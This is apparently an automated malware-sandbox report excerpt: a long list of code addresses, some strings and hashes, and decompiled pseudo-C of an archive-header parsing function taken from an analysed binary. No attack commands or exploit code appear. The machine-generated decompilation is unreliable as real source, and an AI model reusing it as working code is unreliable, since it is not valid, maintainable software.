0x013ca904
0x013ca90b
0x00000000
0x00000000
0x013ca911
0x013ca914
0x013ca917
0x00000000
0x013ca919
0x013ca919
0x013ca919
0x013ca919
0x013ca920
0x013ca923
0x013ca92a
0x013ca92a
0x013ca925
0x013ca925
0x013ca925
0x013ca92e
0x013ca931
0x013ca933
0x013ca935
0x013ca93b
0x013ca941
0x013ca943
0x013ca943
0x013ca943
0x013ca94a
0x013ca94a
0x013ca94c
0x013ca958
0x013ca958
0x013ca958
0x013ca94e
0x013ca950
0x013ca950
0x013ca95f
0x013ca962
0x013ca964
0x013ca96b
0x013ca96b
0x013ca966
0x013ca966
0x013ca966
0x013ca973
0x013ca97e
0x013ca984
0x013ca985
0x013ca98a
0x013ca990
0x013ca993
0x00000000
0x00000000
0x013ca995
0x013ca995
0x013ca99f
0x013ca9aa
0x013ca9b2
0x013ca9b8
0x013ca9c3
0x013ca9c9
0x013ca9d0
0x013ca9e3
0x013ca9ea
0x013ca9ea
0x00000000
0x013ca917
0x013ca8fd
0x00000000
0x013ca8f5
0x013cab32
0x013cab32
0x013cab38
0x013cab3d
0x013cab43
0x013cab56
0x013cab5b
0x013ca4e0
0x013ca4e0
0x013ca4e9
0x013ca4ea
0x013ca4f4
0x013ca4fa
0x013ca4fc
0x013ca702
0x013ca70a
0x013ca70d
0x013ca712
0x013ca715
0x013ca71d
0x013ca721
0x013ca727
0x013ca72d
0x013ca732
0x013ca739
0x013ca73a
0x013ca73a
0x013ca73a
0x013ca741
0x013ca744
0x013ca74c
0x013ca752
0x013ca757
0x013ca757
0x013ca754
0x013ca754
0x013ca754
0x013ca75b
0x013ca75c
0x013ca75e
0x013ca761
0x013ca767
0x013ca76d
0x013ca770
0x013ca773
0x013ca779
0x013ca77c
0x013ca77f
0x013ca789
0x013ca789
0x013ca789
0x013ca781
0x013ca781
0x013ca783
0x00000000
0x013ca785
0x013ca785
0x013ca785
0x013ca783
0x013ca78b
0x013ca78d
0x013ca87f
0x013ca87f
0x013ca881
0x013ca887
0x013ca88d
0x013ca8a2
0x013ca8a7
0x013ca793
0x013ca793
0x013ca795
0x00000000
0x013ca79b
0x013ca79d
0x013ca79e
0x013ca7a0
0x013ca7a2
0x013ca7a4
0x013ca7a4
0x013ca7aa
0x013ca7ac
0x013ca7b2
0x013ca7b5
0x013ca7c3
0x013ca7c9
0x013ca7c9
0x013ca7cb
0x013ca7ce
0x013ca7d4
0x013ca7d4
0x013ca7d6
0x00000000
0x00000000
0x013ca7d8
0x013ca7da
0x013ca7e0
0x013ca7e0
0x013ca7dc
0x013ca7dc
0x013ca7dc
0x013ca7e5
0x013ca7e7
0x013ca7ee
0x013ca7ee
0x013ca7e9
0x013ca7e9
0x013ca7e9
0x013ca814
0x013ca81a
0x013ca81d
0x013ca823
0x013ca82a
0x013ca82b
0x013ca82c
0x013ca832
0x013ca835
0x013ca837
0x00000000
0x013ca837
0x00000000
0x013ca835
0x013ca83f
0x013ca845
0x013ca84d
0x013ca84d
0x013ca84e
0x013ca850
0x013ca854
0x013ca85c
0x013ca85c
0x013ca85c
0x013ca85e
0x013ca865
0x013ca86a
0x013ca877
0x013ca86c
0x013ca86f
0x013ca86f
0x013ca86a
0x013ca795
0x013ca8aa
0x013ca8b4
0x013ca8ba
0x013ca8c0
0x013ca8c6
0x013ca502
0x013ca502
0x013ca502
0x013ca504
0x013ca50b
0x013ca512
0x00000000
0x00000000
0x013ca518
0x013ca51b
0x013ca51e
0x00000000
0x013ca520
0x013ca528
0x013ca52d
0x013ca532
0x013ca533
0x013ca535
0x013ca53d
0x013ca541
0x013ca547
0x013ca54d
0x013ca552
0x013ca559
0x013ca559
0x013ca55a
0x013ca55d
0x013ca565
0x013ca56b
0x013ca570
0x013ca570
0x013ca56d
0x013ca56d
0x013ca56d
0x013ca574
0x013ca575
0x013ca577
0x013ca57a
0x013ca580
0x013ca586
0x013ca589
0x013ca58c
0x013ca592
0x013ca595
0x013ca598
0x013ca5a2
0x013ca5a2
0x013ca5a2
0x013ca59a
0x013ca59a
0x013ca59c
0x00000000
0x013ca59e
0x013ca59e
0x013ca59e
0x013ca59c
0x013ca5a4
0x013ca5a6
0x013ca69b
0x013ca69b
0x013ca69d
0x013ca6a3
0x013ca6a9
0x013ca6be
0x013ca6c3
0x013ca5ac
0x013ca5ac
0x013ca5ae
0x00000000
0x013ca5b4
0x013ca5b6
0x013ca5b7
0x013ca5b9
0x013ca5bb
0x013ca5bd
0x013ca5bd
0x013ca5c3
0x013ca5c5
0x013ca5cb
0x013ca5ce
0x013ca5dc
0x013ca5e2
0x013ca5e2
0x013ca5e4
0x013ca5e7
0x013ca5ed
0x013ca5ed
0x013ca5ef
0x00000000
0x00000000
0x013ca5f1
0x013ca5f3
0x013ca5f9
0x013ca5f9
0x013ca5f5
0x013ca5f5
0x013ca5f5
0x013ca5fe
0x013ca600
0x013ca60d
0x013ca60d
0x013ca602
0x013ca608
0x013ca608
0x013ca62b
0x013ca633
0x013ca63a
0x013ca641
0x013ca642
0x013ca645
0x013ca64b
0x013ca651
0x013ca654
0x013ca656
0x00000000
0x013ca656
0x00000000
0x013ca654
0x013ca65e
0x013ca664
0x013ca664
0x013ca66a
0x013ca66c
0x013ca676
0x013ca678
0x013ca678
0x013ca678
0x013ca67a
0x013ca681
0x013ca686
0x013ca693
0x013ca688
0x013ca68b
0x013ca68b
0x013ca686
0x013ca5ae
0x013ca6c6
0x013ca6d1
0x013ca6d2
0x013ca6d3
0x013ca6d9
0x013ca6df
0x013ca6e5
0x013ca6e5
0x00000000
0x013ca51e
0x00000000
0x013ca504
0x013ca6e6
0x013ca6ec
0x013ca6f3
0x013ca6f4
0x013ca6f5
0x013ca6fa
0x013ca6fa
0x013cab5e
0x013cab68
0x013cab69
0x013cab6f
0x013cab71
0x013cafda
0x013cafdc
0x013cafde
0x013cafe4
0x013cafe6
0x013cafec
0x013cafee
0x013cb340
0x013cb340
0x013cb342
0x013cb348
0x013cb34f
0x013cb355
0x013cb357
0x013cb3f5
0x013cb3f5
0x013cb3f7
0x013cb3f8
0x013cb3fe
0x00000000
0x013cb35d
0x013cb35d
0x013cb360
0x013cb366
0x013cb36c
0x013cb36e
0x013cb374
0x013cb376
0x013cb376
0x013cb378
0x013cb378
0x013cb381
0x013cb388
0x013cb38e
0x013cb391
0x013cb392
0x013cb394
0x013cb394
0x013cb398
0x013cb39a
0x013cb39c
0x013cb3a2
0x013cb3a5
0x00000000
0x013cb3a7
0x013cb3a7
0x013cb3ae
0x013cb3ae
0x013cb3a5
0x013cb39a
0x013cb36e
0x013cb360
0x013cb357
0x013caff4
0x013caff4
0x013caff4
0x013caff7
0x013caffb
0x013caffb
0x013caffc
0x013cb00e
0x013cb01b
0x013cb02a
0x013cb054
0x013cb059
0x013cb05f
0x013cb062
0x013cb068
0x013cb06b
0x013cb104
0x013cb10b
0x013cb189
0x013cb18f
0x013cb195
0x013cb198
0x013cb19a
0x013cb223
0x013cb1a0
0x013cb1a0
0x013cb1a6
0x013cb1a6
0x013cb1ac
0x013cb1b2
0x013cb1b4
0x013cb1b6
0x013cb1b6
0x013cb1bc
0x013cb1c2
0x013cb1c4
0x013cb1cc
0x013cb1cc
0x013cb1d2
0x013cb1d4
0x013cb1d6
0x013cb1dc
0x013cb1de
0x013cb2f5
0x013cb2f7
0x013cb2fd
0x013cb2fd
0x013cb300
0x013cb301
0x00000000
0x013cb1e4
0x013cb1ea
0x013cb1ea
0x013cb1ec
0x013cb1f2
0x013cb1f5
0x013cb1fc
0x013cb202
0x013cb204
0x013cb22b
0x013cb22d
0x013cb22f
0x013cb231
0x013cb237
0x013cb23d
0x013cb2d7
0x013cb2d7
0x013cb2da
0x00000000
0x013cb2e0
0x013cb2e0
0x013cb2e6
0x00000000
0x013cb2e6
0x013cb243
0x013cb243
0x013cb243
0x013cb246
0x00000000
0x00000000
0x013cb248
0x013cb24a
0x013cb24c
0x013cb255
0x013cb255
0x013cb257
0x013cb25d
0x013cb25d
0x013cb269
0x013cb274
0x013cb277
0x013cb284
0x013cb287
0x013cb288
0x013cb289
0x013cb28f
0x013cb291
0x013cb297
0x013cb29d
0x00000000
0x00000000
0x00000000
0x00000000
0x013cb29f
0x013cb29f
0x013cb29f
0x013cb2a1
0x00000000
0x00000000
0x013cb2a3
0x013cb2a6
0x00000000
0x013cb2ac
0x013cb2ac
0x013cb2ae
0x013cb2b0
0x013cb2b0
0x013cb2b0
0x013cb2b8
0x013cb2bb
0x013cb2bb
0x013cb2c1
0x013cb2c3
0x013cb2c5
0x013cb2cc
0x013cb2d2
0x013cb2d4
0x00000000
0x013cb2d4
0x00000000
0x013cb2a6
0x00000000
0x013cb29f
0x00000000
0x013cb243
0x013cb206
0x013cb206
0x013cb208
0x013cb20e
0x013cb215
0x013cb215
0x013cb218
0x013cb218
0x00000000
0x013cb208
0x00000000
0x013cb2ec
0x013cb2ec
0x013cb2ed
0x013cb2ed
0x00000000
0x013cb1f2
0x013cb10d
0x013cb10d
0x013cb11f
0x013cb12e
0x013cb133
0x013cb136
0x013cb138
0x00000000
0x013cb13e
0x013cb13e
0x013cb141
0x00000000
0x013cb147
0x013cb147
0x013cb14e
0x00000000
0x013cb154
0x013cb15a
0x013cb15c
0x013cb162
0x013cb162
0x013cb164
0x013cb164
0x013cb166
0x013cb16f
0x013cb176
0x013cb179
0x013cb17a
0x013cb17c
0x013cb17c
0x00000000
0x013cb184
0x013cb14e
0x013cb141
0x013cb138
0x013cb071
0x013cb071
0x013cb077
0x013cb079
0x013cb095
0x013cb098
0x00000000
0x013cb09e
0x013cb09e
0x013cb0a5
0x00000000
0x013cb0ab
0x013cb0b1
0x013cb0b3
0x013cb0b9
0x013cb0b9
0x013cb0bb
0x013cb0bb
0x013cb0bd
0x013cb0c6
0x013cb0cd
0x013cb0d0
0x013cb0d1
0x013cb0d3
0x013cb0d3
0x013cb0db
0x013cb0db
0x013cb0dd
0x00000000
0x013cb0e3
0x013cb0e3
0x013cb0e9
0x013cb0ec
0x013cb3b6
0x013cb3b9
0x013cb3bf
0x013cb3d4
0x013cb3d9
0x013cb3dc
0x013cb0f2
0x013cb0f2
0x013cb0f9
0x00000000
0x013cb0f9
0x013cb0ec
0x013cb0dd
0x013cb0a5
0x013cb07b
0x013cb07b
0x013cb07d
0x013cb083
0x013cb089
0x013cb08a
0x013cb307
0x013cb307
0x013cb30e
0x013cb30f
0x013cb310
0x013cb315
0x013cb318
0x013cb318
0x013cb318
0x013cb079
0x013cb31a
0x013cb31a
0x013cb31c
0x013cb3e3
0x013cb3ea
0x013cb3f1
0x013cb404
0x013cb40a
0x013cb40b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x013cb322
0x013cb328
0x013cb328
0x013cb32e
0x013cb32e
0x013cb33a
0x00000000
0x013cb33a
0x013cab77
0x013cab77
0x013cab79
0x013cab7f
0x013cab81
0x013cab87
0x013cab89
0x013caf00
0x013caf00
0x013caf02
0x013caf08
0x013caf0f
0x013caf11
0x013caf70
0x013caf73
0x013caf79
0x013caf7f
0x013caf85
0x013caf87
0x013caf8d
0x013caf8f
0x013caf8f
0x013caf91
0x013caf91
0x013caf93
0x013caf9c
0x013cafa3
0x013cafa6
0x013cafa7
0x013cafa9
0x013cafa9
0x013cafb1
0x013cafb3
0x013cafb9
0x013cafbf
0x013cafc2
0x00000000
0x013cafc8
0x013cafc8
0x013cafcf
0x013cafcf
0x013cafc2
0x013cafb3
0x013caf87
0x013caf13
0x013caf13
0x013caf15
0x013caf1b
0x013caf21
0x00000000
0x013caf21
0x013caf11
0x013cab8f
0x013cab8f
0x013cab8f
0x013cab92
0x013cab96
0x013cab96
0x013cab97
0x013caba9
0x013cabb6
0x013cabc5
0x013cabef
0x013cabf4
0x013cabfa
0x013cabfd
0x013cac03
0x013cac06
0x013cac82
0x013cac89
0x013cad4d
0x013cad53
0x013cad59
0x013cad5c
0x013cad5e
0x013cade7
0x013cad64
0x013cad64
0x013cad6a
0x013cad6a
0x013cad70
0x013cad76
0x013cad78
0x013cad7a
0x013cad7a
0x013cad80
0x013cad86
0x013cad88
0x013cad90
0x013cad90
0x013cad96
0x013cad98
0x013cad9a
0x013cada0
0x013cada2
0x013caeb9
0x013caebb
0x013caec1
0x013caec1
0x00000000
0x013cada8
0x013cadae
0x013cadae
0x013cadb0
0x013cadb6
0x013cadb9
0x013cadc0
0x013cadc6
0x013cadc8
0x013cadef
0x013cadf1
0x013cadf3
0x013cadf5
0x013cadfb
0x013cae01
0x013cae9b
0x013cae9b
0x013cae9e
0x00000000
0x013caea4
0x013caea4
0x013caeaa
0x00000000
0x013caeaa
0x013cae07
0x013cae07
0x013cae07
0x013cae0a
0x00000000
0x00000000
0x013cae0c
0x013cae0e
0x013cae10
0x013cae19
0x013cae19
0x013cae1b
0x013cae21
0x013cae21
0x013cae2d
0x013cae38
0x013cae3b
0x013cae48
0x013cae4b
0x013cae4c
0x013cae4d
0x013cae53
0x013cae55
0x013cae5b
0x013cae61
0x00000000
0x00000000
0x00000000
0x00000000
0x013cae63
0x013cae63
0x013cae63
0x013cae65
0x00000000
0x00000000
0x013cae67
0x013cae6a
0x013caf24
0x013caf24
0x013caf26
0x013caf2c
0x013caf32
0x013caf33
0x00000000
0x013cae70
0x013cae70
0x013cae72
0x013cae74
0x013cae74
0x013cae74
0x013cae7c
0x013cae7f
0x013cae7f
0x013cae85
0x013cae87
0x013cae89
0x013cae90
0x013cae96
0x013cae98
0x00000000
0x013cae98
0x00000000
0x013cae6a
0x00000000
0x013cae63
0x00000000
0x013cae07
0x013cadca
0x013cadca
0x013cadcc
0x013cadd2
0x013cadd9
0x013cadd9
0x013caddc
0x013caddc
0x00000000
0x013cadcc
0x00000000
0x013caeb0
0x013caeb0
0x013caeb1
0x013caeb1
0x00000000
0x013cadb6
0x013cac8f
0x013cac8f
0x013caca1
0x013cacb0
0x013cacb5
0x013cacb8
0x013cacba
0x013cacd6
0x013cacd9
0x00000000
0x013cacdf
0x013cacdf
0x013cace6
0x00000000
0x013cacec
0x013cacf2
0x013cacf4
0x013cacfa
0x013cacfa
0x013cacfc
0x013cacfc
0x013cacfe
0x013cad07
0x013cad0e
0x013cad11
0x013cad12
0x013cad14
0x013cad14
0x00000000
0x013cacfc
0x013cace6
0x013cacbc
0x013cacbe
0x013cacc4
0x013cacca
0x013caccb
0x00000000
0x013caccb
0x013cacba
0x013cac08
0x013cac08
0x013cac0e
0x013cac10
0x013cac25
0x013cac28
0x00000000
0x013cac2e
0x013cac2e
0x013cac35
0x00000000
0x013cac3b
0x013cac41
0x013cac43
0x013cac49
0x013cac49
0x013cac4b
0x013cac4b
0x013cac4d
0x013cac56
0x013cac5d
0x013cac60
0x013cac61
0x013cac63
0x013cac63
0x013cad1c
0x013cad1c
0x013cad1e
0x00000000
0x013cad24
0x013cad24
0x013cad2a
0x013cad2d
0x013cac70
0x013cac77
0x00000000
0x013cad33
0x013cad35
0x013cad3b
0x013cad41
0x013cad42
0x013caf39
0x013caf39
0x013caf40
0x013caf41
0x013caf42
0x013caf47
0x013caf4a
0x013caf4a
0x013cad2d
0x013cad1e
0x013cac35
0x013cac12
0x013cac12
0x013cac14
0x013cac1a
0x013caec4
0x013caec4
0x013caec5
0x013caecb
0x013caecb
0x013caed2
0x013caed3
0x013caed4
0x013caed9
0x013caedc
0x013caedc
0x013caedc
0x013cac10
0x013caede
0x013caede
0x013caee0
0x013caf4e
0x013caf55
0x013caf55
0x013caf55
0x013caf5c
0x013caf5e
0x013caf64
0x013caf65
0x013cb411
0x013cb411
0x013cb412
0x013cb413
0x013cb418
0x00000000
0x00000000
0x00000000
0x00000000
0x013caee2
0x013caee8
0x013caee8
0x013caeee
0x013caeee
0x013caefa
0x00000000
0x013caefa
0x013cab89
0x013cb41b
0x013cb41b
0x013cb421
0x013cb423
0x013cb429
0x013cb42f
0x013cb431
0x013cb433
0x013cb435
0x013cb435
0x013cb437
0x013cb437
0x013cb440
0x013cb441
0x013cb445
0x013cb44c
0x013cb44f
0x013cb450
0x013cb452
0x013cb452
0x013cb456
0x013cb45c
0x013cb45e
0x013cb464
0x013cb466
0x013cb46c
0x013cb46f
0x013cb482
0x013cb485
0x013cb48b
0x013cb4a0
0x013cb4a5
0x013cb471
0x013cb473
0x013cb47a
0x013cb47a
0x013cb46f
0x013cb4a8
0x013cb4a8
0x013cb4b8
0x013cb4c1
0x013cb4c2
0x013cb4c4
0x013cb55b
0x013cb55d
0x013cb568
0x013cb568
0x013cb56a
0x013cb56d
0x013cb56f
0x00000000
0x013cb55f
0x013cb565
0x013cb565
0x013cb4ca
0x013cb4ca
0x013cb4d0
0x013cb4d3
0x013cb4d9
0x013cb4dc
0x013cb4e2
0x013cb4e4
0x013cb4ea
0x013cb4ec
0x013cb4ee
0x013cb4ee
0x013cb4f0
0x013cb4f0
0x013cb4fd
0x013cb504
0x013cb507
0x013cb508
0x013cb50a
0x013cb50b
0x013cb50b
0x013cb50f
0x013cb515
0x013cb517
0x013cb519
0x013cb51f
0x013cb522
0x013cb536
0x013cb53c
0x013cb551
0x013cb556
0x013cb524
0x013cb524
0x013cb52b
0x013cb52b
0x013cb522
0x013cb517
0x013cb575
0x013cb575
0x013cb575
0x013cb581
0x013cb584
0x013cb58a
0x013cb58c
0x013cb58e
0x013cb594
0x013cb596
0x013cb596
0x013cb596
0x013cb594
0x013cb59b
0x013cb59c
0x013cb59e
0x013cb5a0
0x013cb5a0
0x013cb5a2
0x013cb5a8
0x013cb5ae
0x013cb5b0
0x013cb5b6
0x013cb5b6
0x013cb5bc
0x013cb5be
0x00000000
0x00000000
0x013cb5c4
0x013cb5c6
0x013cb5c8
0x013cb5c8
0x013cb5ca
0x013cb5ca
0x013cb5da
0x013cb5e1
0x013cb5e4
0x013cb5e5
0x013cb5e7
0x013cb5e7
0x013cb5eb
0x013cb5f1
0x013cb5f3
0x013cb5f5
0x013cb5fb
0x013cb5fe
0x013cb60f
0x013cb612
0x013cb618
0x013cb62d
0x013cb632
0x013cb600
0x013cb600
0x013cb607
0x013cb607
0x013cb5fe
0x013cb643
0x013cb652
0x013cb653
0x013cb653
0x013cb655
0x013cb657
0x013cb657
0x013cb65d
0x013cb660
0x013cb662
0x013cb664
0x013cb664
0x013cb667
0x013cb668
0x013cb668
0x013cb66d
0x013cb670
0x013cb674
0x013cb674
0x013cb675
0x013cb677
0x013cb67d
0x013cb683
0x00000000
0x00000000
0x00000000
0x013cb683
0x013cb5b6
0x013cb689
0x013cb689
0x00000000
0x013cb689
0x013ca40e
0x013ca405
0x013ca3fc
0x013ca3b3
0x013ca3b7
0x013ca3bf
0x00000000
0x013ca3c1
0x013ca3c7
0x013ca3cc
0x013cb6a8
0x013cb6a8
0x013cb6ab
0x013cb6b6
0x013cb6e1
0x013cb6e2
0x013cb6e3
0x013cb6e4
0x013cb6e5
0x013cb6e6
0x013cb6eb
0x013cb6f3
0x013cb6f8
0x013cb6fe
0x013cb703
0x013cb704
0x013cb704
0x013cb704
0x013cb70a
0x013cb70b
0x013cb70b
0x013cb70e
0x013cb714
0x00000000
0x00000000
0x013cb716
0x013cb71b
0x013cb71e
0x013cb720
0x013cb728
0x013cb72a
0x013cb72c
0x013cb731
0x013cb734
0x013cb73a
0x013cb73d
0x013cb73f
0x013cb73f
0x013cb73f
0x013cb73f
0x013cb73d
0x013cb742
0x013cb74e
0x013cb754
0x013cb75c
0x013cb761
0x013cb762
0x013cb767
0x013cb767
0x013cb767
0x013cb767
0x013cb76b
0x013cb76b
0x013cb76e
0x013cb775
0x013cb782
0x013cb6b8
0x013cb6b8
0x013cb6b8
0x013cb6c2
0x013cb6cb
0x013cb6d0
0x013cb6de
0x013cb6de
0x013cb6b6
0x013ca3bf

APIs

__floor_pentium4.LIBCMT ref: 013CA496

Strings

1#INF, xrefs: 013CB6A3
1#SNAN, xrefs: 013CB695
1#QNAN, xrefs: 013CB69C
1#IND, xrefs: 013CB68E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d34efd5e28409b45aee5e1e0dc0ce71db9432e1e53cf8e35111dbbeb7b8a9b31
Instruction ID: da9bb5542cc846da016812d4a1a2c3d5d102831ddbd1ae3cee01c5c6eb742540
Opcode Fuzzy Hash: d34efd5e28409b45aee5e1e0dc0ce71db9432e1e53cf8e35111dbbeb7b8a9b31
Instruction Fuzzy Hash: 45C26A71E086288FDB25CE28DD417EAB7B9EB84749F1441EED84DE7240E774AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 013A2759 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 793
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E013A2759(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				unsigned int _t342;
				signed int _t346;
				char _t365;
				signed short _t372;
				signed int _t377;
				signed int _t385;
				signed char _t387;
				char _t407;
				signed int _t408;
				signed int _t412;
				intOrPtr _t427;
				char _t428;
				signed int _t431;
				signed int _t432;
				signed char _t437;
				signed int _t440;
				signed int _t444;
				signed short _t449;
				signed short _t454;
				unsigned int _t459;
				signed int _t462;
				void* _t465;
				signed int _t467;
				signed int _t470;
				void* _t477;
				signed int _t483;
				signed int _t487;
				void* _t488;
				void* _t495;
				void* _t496;
				signed char _t502;
				signed int _t514;
				intOrPtr* _t527;
				signed int _t530;
				signed int _t531;
				intOrPtr* _t532;
				signed int _t540;
				signed int _t545;
				signed int _t547;
				unsigned int _t556;
				signed int _t558;
				signed int _t571;
				signed char _t573;
				signed int _t574;
				signed int _t584;
				void* _t597;
				signed int _t601;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t623;
				signed char _t639;
				signed char _t649;
				signed int _t652;
				unsigned int _t653;
				signed int _t656;
				signed int _t659;
				signed int _t661;
				signed int _t662;
				unsigned int _t664;
				signed int _t668;
				void* _t669;
				void* _t676;
				unsigned int _t679;
				signed int _t680;
				signed char _t681;
				signed int _t684;
				void* _t686;
				signed int _t692;
				signed int _t693;
				void* _t698;
				signed int _t699;
				signed int _t700;
				signed int _t707;
				signed int _t708;
				intOrPtr _t710;
				void* _t711;
				signed char _t720;

				_t532 = __ecx;
				E013BCDF0(E013CF42F, _t711);
				E013BCEC0();
				_t527 = _t532;
				 *((intOrPtr*)(_t711 + 0x20)) = _t527;
				E013AC1BC(_t711 + 0x24, _t527);
				 *((intOrPtr*)(_t711 + 0x1c)) = 0;
				 *((intOrPtr*)(_t711 - 4)) = 0;
				_t668 = 7;
				if( *(_t527 + 0x6cbc) == 0) {
					L6:
					 *((char*)(_t711 + 0x5e)) = 0;
					L7:
					E013AC3C7(_t649, _t668);
					_t723 =  *((intOrPtr*)(_t711 + 0x3c));
					if( *((intOrPtr*)(_t711 + 0x3c)) != 0) {
						 *(_t527 + 0x21e4) = E013AC202(_t711 + 0x24) & 0x0000ffff;
						 *(_t527 + 0x21f4) = 0;
						_t692 = E013AC1EA(_t711 + 0x24) & 0x000000ff;
						_t342 = E013AC202(_t711 + 0x24) & 0x0000ffff;
						 *(_t527 + 0x21ec) = _t342;
						 *(_t527 + 0x21f4) = _t342 >> 0x0000000e & 0x00000001;
						_t540 = E013AC202(_t711 + 0x24) & 0x0000ffff;
						 *(_t527 + 0x21f0) = _t540;
						 *(_t527 + 0x21e8) = _t692;
						__eflags = _t540 - _t668;
						if(_t540 >= _t668) {
							_t693 = _t692 - 0x73;
							__eflags = _t693;
							if(_t693 == 0) {
								 *(_t527 + 0x21e8) = 1;
							} else {
								_t707 = _t693 - 1;
								__eflags = _t707;
								if(_t707 == 0) {
									 *(_t527 + 0x21e8) = 2;
								} else {
									_t708 = _t707 - 6;
									__eflags = _t708;
									if(_t708 == 0) {
										 *(_t527 + 0x21e8) = 3;
									} else {
										__eflags = _t708 == 1;
										if(_t708 == 1) {
											 *(_t527 + 0x21e8) = 5;
										}
									}
								}
							}
							_t346 =  *(_t527 + 0x21e8);
							 *(_t527 + 0x21dc) = _t346;
							__eflags = _t346 - 0x75;
							if(_t346 != 0x75) {
								__eflags = _t346 - 1;
								if(_t346 != 1) {
									L23:
									_push(_t540 - 7);
									L24:
									E013AC3C7(_t649);
									 *((intOrPtr*)(_t527 + 0x6ca8)) =  *((intOrPtr*)(_t527 + 0x6ca0)) + E013A18FA(_t527,  *(_t527 + 0x21f0));
									_t545 =  *(_t527 + 0x21e8);
									asm("adc eax, 0x0");
									 *(_t527 + 0x6cac) =  *(_t527 + 0x6ca4);
									 *(_t711 + 0x54) = _t545;
									__eflags = _t545 - 1;
									if(__eflags == 0) {
										_t669 = _t527 + 0x2208;
										E013AA907(_t669);
										_t547 = 5;
										memcpy(_t669, _t527 + 0x21e4, _t547 << 2);
										 *(_t527 + 0x221c) = E013AC202(_t711 + 0x24);
										_t649 = E013AC237(_t711 + 0x24);
										 *(_t527 + 0x2220) = _t649;
										 *(_t527 + 0x6cb5) =  *(_t527 + 0x2210) & 0x00000001;
										 *(_t527 + 0x6cb4) =  *(_t527 + 0x2210) >> 0x00000003 & 0x00000001;
										_t556 =  *(_t527 + 0x2210);
										 *(_t527 + 0x6cb7) = _t556 >> 0x00000002 & 0x00000001;
										 *(_t527 + 0x6cbb) = _t556 >> 0x00000006 & 0x00000001;
										 *(_t527 + 0x6cbc) = _t556 >> 0x00000007 & 0x00000001;
										__eflags = _t649;
										if(_t649 != 0) {
											L120:
											_t365 = 1;
											__eflags = 1;
											L121:
											 *((char*)(_t527 + 0x6cb8)) = _t365;
											 *(_t527 + 0x2224) = _t556 >> 0x00000001 & 0x00000001;
											_t558 = _t556 >> 0x00000004 & 0x00000001;
											__eflags = _t558;
											 *(_t527 + 0x6cb9) = _t556 >> 0x00000008 & 0x00000001;
											 *(_t527 + 0x6cba) = _t558;
											L122:
											_t668 = 7;
											L123:
											_t372 = E013AC2E8(_t711 + 0x24, 0);
											__eflags =  *(_t527 + 0x21e4) - (_t372 & 0x0000ffff);
											if( *(_t527 + 0x21e4) == (_t372 & 0x0000ffff)) {
												L133:
												 *((intOrPtr*)(_t711 + 0x1c)) =  *((intOrPtr*)(_t711 + 0x3c));
												goto L134;
											}
											_t377 =  *(_t527 + 0x21e8);
											__eflags = _t377 - 0x79;
											if(_t377 == 0x79) {
												goto L133;
											}
											__eflags = _t377 - 0x76;
											if(_t377 == 0x76) {
												goto L133;
											}
											__eflags = _t377 - 5;
											if(_t377 != 5) {
												L131:
												 *((char*)(_t527 + 0x6cc4)) = 1;
												E013A6E8B(0x13dcbe8, 3);
												__eflags =  *((char*)(_t711 + 0x5e));
												if(__eflags == 0) {
													goto L133;
												}
												E013A6F5F(__eflags, 4, _t527 + 0x1e, _t527 + 0x1e);
												 *((char*)(_t527 + 0x6cc5)) = 1;
												goto L134;
											}
											__eflags =  *(_t527 + 0x45ae);
											if( *(_t527 + 0x45ae) == 0) {
												goto L131;
											}
											 *((intOrPtr*)(_t711 + 4)) = _t527;
											 *((intOrPtr*)(_t711 + 0xc)) =  *((intOrPtr*)( *_t527 + 0x14))();
											 *(_t711 + 0x10) = _t649;
											 *((char*)(_t711 - 4)) = 1;
											_t385 =  *((intOrPtr*)( *_t527 + 0x14))() - _t668;
											__eflags = _t385;
											asm("sbb edx, ecx");
											 *((intOrPtr*)( *_t527 + 0x10))(_t385, _t649, 0);
											 *(_t711 + 0x5f) = 1;
											do {
												_t387 = E013A9750(_t527);
												asm("sbb al, al");
												 *(_t711 + 0x5f) =  *(_t711 + 0x5f) &  !( ~_t387);
												_t668 = _t668 - 1;
												__eflags = _t668;
											} while (_t668 != 0);
											 *((char*)(_t711 - 4)) = 0;
											E013A16D0(_t711 + 4);
											__eflags =  *(_t711 + 0x5f);
											if( *(_t711 + 0x5f) != 0) {
												goto L133;
											}
											goto L131;
										}
										_t365 = 0;
										__eflags =  *(_t527 + 0x221c);
										if( *(_t527 + 0x221c) == 0) {
											goto L121;
										}
										goto L120;
									}
									if(__eflags <= 0) {
										L116:
										__eflags =  *(_t527 + 0x21ec) & 0x00008000;
										if(( *(_t527 + 0x21ec) & 0x00008000) != 0) {
											 *((intOrPtr*)(_t527 + 0x6ca8)) =  *((intOrPtr*)(_t527 + 0x6ca8)) + E013AC237(_t711 + 0x24);
											asm("adc dword [ebx+0x6cac], 0x0");
										}
										goto L123;
									}
									__eflags = _t545 - 3;
									if(_t545 <= 3) {
										__eflags = _t545 - 2;
										_t64 = (0 | _t545 != 0x00000002) - 1; // -1
										_t676 = (_t64 & 0xffffdcb0) + 0x45d0 + _t527;
										 *(_t711 + 0x48) = _t676;
										E013AA86D(_t676, 0);
										_t571 = 5;
										memcpy(_t676, _t527 + 0x21e4, _t571 << 2);
										_t698 =  *(_t711 + 0x48);
										_t679 =  *(_t711 + 0x54);
										_t573 =  *(_t698 + 8);
										 *(_t698 + 0x1098) =  *(_t698 + 8) & 1;
										 *(_t698 + 0x1099) = _t573 >> 0x00000001 & 1;
										 *(_t698 + 0x109b) = _t573 >> 0x00000002 & 1;
